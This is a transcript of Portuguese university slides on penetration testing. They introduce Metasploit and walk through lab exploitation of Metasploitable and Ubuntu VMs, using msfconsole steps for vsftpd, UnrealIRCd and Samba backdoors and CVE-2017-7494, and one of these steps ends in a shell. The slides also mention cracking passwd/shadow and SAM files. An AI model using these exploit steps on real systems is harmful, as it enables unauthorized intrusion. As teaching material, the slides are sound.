pen test - ifrndiatinf.ifrn.edu.br/prof/lib/exe/...redes:06-invasa_o-pentest-real.pdf · segurança...
TRANSCRIPT
Segurança de [email protected]
Pen Test
● Técnicas de invasão/pen test real● Vamos utilizar ferramentas, procedimentos reais● Vamos explorar vulnerabilidades reais, em
máquinas com conf igurações comumente encontradas
● Então tenhamos muita ética !!!
Segurança de [email protected]
Pen Test
● Técnicas de invasão/pen test real● Podemos e devemos utilizar técnicas de invasão /
pen test qual o grau de vulnerabilidade de minhainfra de TIC
● Mesmo assim, é bom lembrar que essasferramentas podem degradar performance,interromper serviços etc
● Então tenhamos muita ética !!!
Segurança de [email protected]
Pen Test
● Técnicas de invasão/pen test real
● Para começar que tal um “capture the f lag”: Utilize todas as técnicas / ferramentas que você conheceu na disciplina para invadir a máquina “ubuntu server”– Você saberá apenas o seu IP, e o login de um
usuário existente– Conseguir acesso de usuário normal;– E então de administrador.
Segurança de [email protected]
Pen Test
● Em tempo: brute force de senhas● Pode ser o passo seguinte a listagem de portas abertas● Pode ser realizado remotamente ou localmente
(normalmente, propósito administrativo)● Pode ser direcionado a uma série de serviços● Normalmente utiliza um “dicionário”
Segurança de [email protected]
Pen Test
● Em tempo: brute force de senhas● Análise também pode ser realizada diretamente
sobre os arquivos que contém senhas– Linux: passwd/shadow (hoje incomum para sistemas
grandes)– Windows: SAM
Segurança de [email protected]
Pen Test
● Técnicas de invasão/pen test real
● Relembrando: Análise de vulnerabilidades difere de pen test por não explorar as possíveis falhas
● Falhas possíveis difere de falha explorável● A simples análise (com o OpenVas por exemplo)
não mensura os riscos reais.
Segurança de [email protected]
Pen Test
● Pen test: metodologia● Existem metodologias formais, de instituições
reconhecidas a nível mundial– O que testar? O que fazer antes, durante e depois etc
● Mas fogem ao tempo/limite de nosso curso● Exemplo: http://www.isecom.org/research/
Segurança de [email protected]
Pen Test
● Pen test: classificação● Grey Box
– Atacante NAO conhece o ambiente– Vítima sabe que vai ser sondada/atacada
● Black Box– Atacante NAO conhece o ambiente– Vítima NAO sabe que vai ser sondada/atacada
● White Box– Atacante conhece o ambiente
Segurança de [email protected]
Pen Test
● Pen test: Etapas● Footprinting
– Nomes das máquinas, endereços IP, nomes de usuáriosetc
● Scanning– Nmap, openvas etc
● Ataque– Metasploit
Segurança de [email protected]
Pen Test
● Pen test: Cenário utilizado nesta disciplina● Cada aluno possui três máquinas virtuais
– Um kali Linux (atacante)– Um Ubuntu server 16.04 LTS, com instalação padrão– Uma máquina metasploitable
● https://information.rapid7.com/metasploitable-download.html
Segurança de [email protected]
Pen Test
● Pen test: Ubuntu server● Já realizamos uma invasão sem seguir uma
metodologia de pen test● Já realizamos footprint e scanning● Agora é a vez do Metasploit
Segurança de [email protected]
Pen Test
● Metasploit● Criado em 2003 (HD Moore)● Modular, recebe atualizações● Compatível com Windows, Linux, BSD, Mac OSX etc ● Plataforma atualmente mais conhecida para
desenvolvimento de exploits
Segurança de [email protected]
Pen Test
● Metasploit: definições● Exploits
– Programas preparados especifcamente para explorarvulnerabilidades encontradas no sistema- alvo.
● Payload
– Código Malicioso transportado pelos Exploit – Exploits atacam falhas nos softwares e executam o
payload● ShellCode
– Instruções que compõem o Payload (geralmentedesenvolvidas em linguagem Assembly)
Segurança de [email protected]
Pen Test
● Metasploit: definições● Modules
– Complementos do Metasploit (Exploit Modules / AuxiliaryModules)
● Listener
– Componente do Metasploit utilizado na manutenção daconexão (permite a conexão a máquinaalvo após osucesso do Exploit)
Segurança de [email protected]
Pen Test
● Metasploit: MSFconsole (máquina kali)
# msfconsole
=[ metasploit v4.14.28-dev ]
+ -- --=[ 1662 exploits - 951 auxiliary - 293 post ]
+ -- --=[ 486 payloads - 40 encoders - 9 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
msf >
msf > help
Segurança de [email protected]
Pen Test
● Metasploit: MSFconsole (máquina kali)● Exemplos Simples: portscan
msf > use auxiliary/scanner/portscan/synmsf auxiliary(syn) > set RHOSTS 10.26.3.27RHOSTS => 10.26.3.27msf auxiliary(syn) > set THREADS 50THREADS => 50msf auxiliary(syn) > run
[*] TCP OPEN 10.26.3.27:22[*] TCP OPEN 10.26.3.27:80...
Segurança de [email protected]
Pen Test
● Metasploit: MSFconsole (máquina kali)● Exemplos Simples: Versão de SSH
msf > use scanner/ssh/ssh_versionmsf auxiliary(ssh_version) > msf auxiliary(ssh_version) > set RHOSTS 10.26.3.27RHOSTS => 10.26.3.27msf auxiliary(ssh_version) > set THREADS 50THREADS => 50msf auxiliary(ssh_version) > run
[*] 10.26.3.27:22 - SSH server version: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed
Segurança de [email protected]
Pen Test
● Metasploit: MSFconsole (máquina kali)● Exemplos Simples: Versão de SSH (outras opções)
msf auxiliary(ssh_version) > use scanner/ssh/ssh_versionmsf auxiliary(ssh_version) > show options
Module options (auxiliary/scanner/ssh/ssh_version):
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.26.3.27 yes The target address range orCIDR identifier RPORT 22 yes The target port (TCP) THREADS 50 yes The number of concurrentthreads TIMEOUT 30 yes Timeout for the SSH probe
Segurança de [email protected]
Pen Test
● Metasploit: MSFconsole (máquina kali)● Funções mais utilizadas
msf> search [parametro] ← busca por parametro nos modulos
msf> use [modulo] ← usa/ativa o modo de exploracao
msf> show options ← exibe opcoes/parametros
msf> set [parametro] [valor] ← atribui valor a parametro
msf> set PAYLOAD [valor] ← seleciona payload
msf> exploit ← executa exploit
msf> run ← executa outros modulos
Segurança de [email protected]
Pen Test
● Metasploit: MSFconsole (máquina kali)● Explorando vulnerabilidades na máquina
metasploitable: Footprint, scanning (nmap)● Verificando no Metasploit
msf > search vsftpd
Matching Modules
================
Name Disclosure Date Rank Description
exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03excellent VSFTPD v2.3.4 Backdoor Command Execution
Segurança de [email protected]
Pen Test
● Metasploit: MSFconsole (máquina kali)● Máquina metasploitable: explorando vsftpd
msf > use exploit/unix/ftp/vsftpd_234_backdoormsf exploit(vsftpd_234_backdoor) > set PAYLOADcmd/unix/interactPAYLOAD => cmd/unix/interactmsf exploit(vsftpd_234_backdoor) > set RHOST 10.26.3.30RHOST => 10.26.3.30msf exploit(vsftpd_234_backdoor) > exploit
FUNCIONOU !!!
Aproveite para coletar as informações que desejar.
Segurança de [email protected]
Pen Test
● Metasploit: MSFconsole (máquina kali)● Máquina metasploitable: explorando IRCd
msf > search ircd......msf > use exploit/unix/irc/unreal_ircd_3281_backdoormsf exploit(unreal_ircd_3281_backdoor) > set RHOST 10.26.3.30RHOST => 10.26.3.30msf exploit(unreal_ircd_3281_backdoor) > exploit
Segurança de [email protected]
Pen Test
● Metasploit: MSFconsole (máquina kali)● Máquina metasploitable: explorando SAMBA
msf > search samba. . .msf > use auxiliary/admin/smb/samba_symlink_traversalmsf auxiliary(samba_symlink_traversal) > set RHOST 10.26.3.30RHOST => 10.26.3.30msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmpSMBSHARE => tmpmsf auxiliary(samba_symlink_traversal) > exploit
. . .root@kali-uninorte:~# smbclient \\10.26.3.30\tmp\rootfs\>
Segurança de [email protected]
Pen Test
● Metasploit: MSFconsole (máquina kali)● Máquina metasploitable: explorando SAMBA (2)
msf > search samba. . .msf > use exploit/multi/samba/usermap_scriptmsf exploit(usermap_script) > msf exploit(usermap_script) > set RHOST 10.26.3.30RHOST => 10.26.3.30msf exploit(usermap_script) > exploit
Segurança de [email protected]
Pen Test
Conseguimos acesso de administrador por diversasvias, na máquina metasploitable. Mas ….
E máquina ubuntu-server?
● Última versão LTS do Ubuntu● Configurações usuais de ambiente de produção● Nenhum “ajuste” em serviços para torna-la
propositalmente vulnerável!!!
Será que é mais difícil? Ou impossível?
Segurança de [email protected]
Pen Test
● Metasploit: MSFconsole (máquina kali)● Máquina Ubuntu Server: relatório do OpenVas
msf > search cve:2017-7494
Matching Modules================
Name Disclosure Date Rank ---- --------------- ---- exploit/linux/samba/is_known_pipename 2017-03-24 excellent
Segurança de [email protected]
Pen Test
● Metasploit: MSFconsole (máquina kali)● Máquina Ubuntu Server: explorando SAMBA
msf > use exploit/linux/samba/is_known_pipenamemsf exploit(is_known_pipename) > set RHOST 192.168.0.22RHOST => 192.168.0.22msf exploit(is_known_pipename) > exploit
. . .[*] 192.168.0.22:445 - Uploaded payloadto \\192.168.0.22\compart\zqLEibtL.so. . .[*] Found shell.[*] Command shell session 1 opened (192.168.0.24:34635 ->192.168.0.22:445) at 2017-07-25 18:48:23 -0300